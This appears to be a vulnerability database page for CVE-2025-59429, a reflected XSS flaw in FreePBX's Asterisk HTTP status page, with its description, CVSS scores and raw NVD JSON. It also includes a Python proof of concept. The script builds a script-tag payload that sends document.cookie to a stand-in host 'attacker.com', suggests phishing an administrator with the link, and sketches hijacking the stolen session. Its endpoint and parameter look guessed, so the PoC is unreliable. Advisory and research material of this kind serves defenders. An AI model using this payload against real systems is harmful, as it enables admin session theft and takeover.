Security Vulnerability Report
中文
CVE-2025-59429 CVSS 5.4 MEDIUM

CVE-2025-59429

Published: 2025-10-14 20:15:50
Last Modified: 2026-01-20 13:59:01

Description

FreePBX is an open source GUI for managing Asterisk. In versions prior to 16.0.68.39 for FreePBX 16 and versions prior to 17.0.18.38 for FreePBX 17, a reflected cross-site scripting vulnerability is present on the Asterisk HTTP Status page. The Asterisk HTTP status page is exposed by FreePBX and is available by default on version 16 via any bound IP address at port 8088. By default on version 17, the binding is only to localhost IP, making it significantly less vulnerable. The vulnerability can be exploited by unauthenticated attackers to obtain cookies from logged-in users, allowing them to hijack a session of an administrative user. The theft of admin session cookies allows attackers to gain control over the FreePBX admin interface, enabling them to access sensitive data, modify system configurations, create backdoor accounts, and cause service disruption. This issue has been patched in version 16.0.68.39 for FreePBX 16 and version 17.0.18.38 for FreePBX 17.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:* - VULNERABLE
FreePBX 16 < 16.0.68.39
FreePBX 17 < 17.0.18.38

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59429 - FreePBX Asterisk HTTP Status Page Reflected XSS PoC # Vulnerability: Reflected XSS in Asterisk HTTP Status Page (port 8088) # Target: FreePBX 16 < 16.0.68.39, FreePBX 17 < 17.0.18.38 import requests import urllib.parse TARGET_HOST = "http://target-freepbx:8088" LISTENER_HOST = "http://attacker.com" # Step 1: Craft the malicious XSS payload to steal session cookies # The payload exfiltrates the victim's cookies to an attacker-controlled server xss_payload = ( "<script>" "var img=new Image();" f"img.src='{LISTENER_HOST}/steal?c='+document.cookie;" "</script>" ) # Step 2: Inject the payload into a vulnerable parameter on the Asterisk HTTP Status page # The injected value is reflected back without proper sanitization vulnerable_endpoint = "/httpstatus" injected_param = "var" # Parameter that reflects user input malicious_url = f"{TARGET_HOST}{vulnerable_endpoint}?{injected_param}={urllib.parse.quote(xss_payload)}" print(f"[+] Malicious URL generated:\n{malicious_url}") print(f"[*] Send this URL to a logged-in FreePBX administrator via phishing") print(f"[*] When admin clicks, their session cookie will be sent to {LISTENER_HOST}/steal") # Step 3: Verify the endpoint is reachable (optional reconnaissance) try: r = requests.get(f"{TARGET_HOST}{vulnerable_endpoint}", timeout=5) print(f"[+] Target reachable, HTTP status: {r.status_code}") except Exception as e: print(f"[-] Target unreachable: {e}") # Step 4: After obtaining the admin cookie, hijack the session # stolen_cookie = "<captured_cookie_value>" # admin_session = requests.Session() # admin_session.cookies.set('PHPSESSID', stolen_cookie.split('PHPSESSID=')[1].split(';')[0]) # resp = admin_session.get(f"{TARGET_HOST.replace(':8088', '')}/admin/config.php") # print(f"[+] Admin panel access: {resp.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59429", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:50.233", "lastModified": "2026-01-20T13:59:00.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreePBX is an open source GUI for managing Asterisk. In versions prior to 16.0.68.39 for FreePBX 16 and versions prior to 17.0.18.38 for FreePBX 17, a reflected cross-site scripting vulnerability is present on the Asterisk HTTP Status page. The Asterisk HTTP status page is exposed by FreePBX and is available by default on version 16 via any bound IP address at port 8088. By default on version 17, the binding is only to localhost IP, making it significantly less vulnerable. The vulnerability can be exploited by unauthenticated attackers to obtain cookies from logged-in users, allowing them to hijack a session of an administrative user. The theft of admin session cookies allows attackers to gain control over the FreePBX admin interface, enabling them to access sensitive data, modify system configurations, create backdoor accounts, and cause service disruption. This issue has been patched in version 16.0.68.39 for FreePBX 16 and version 17.0.18.38 for FreePBX 17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.68.39", "matchCriteriaId": "B5FAB9B8-78F8-411D-94A3-CD8780F52D0B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0.1", "versionEndExcluding": "17.0.18.38", "matchCriteriaId": "559E74FB-12D6-444C-AE06-4564D0C14D1C"}]}]}], "references": [{"url": "https://github.com/FreePBX/security-reporting/security/advisories/GHSA-c8g7-475j-fwcc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}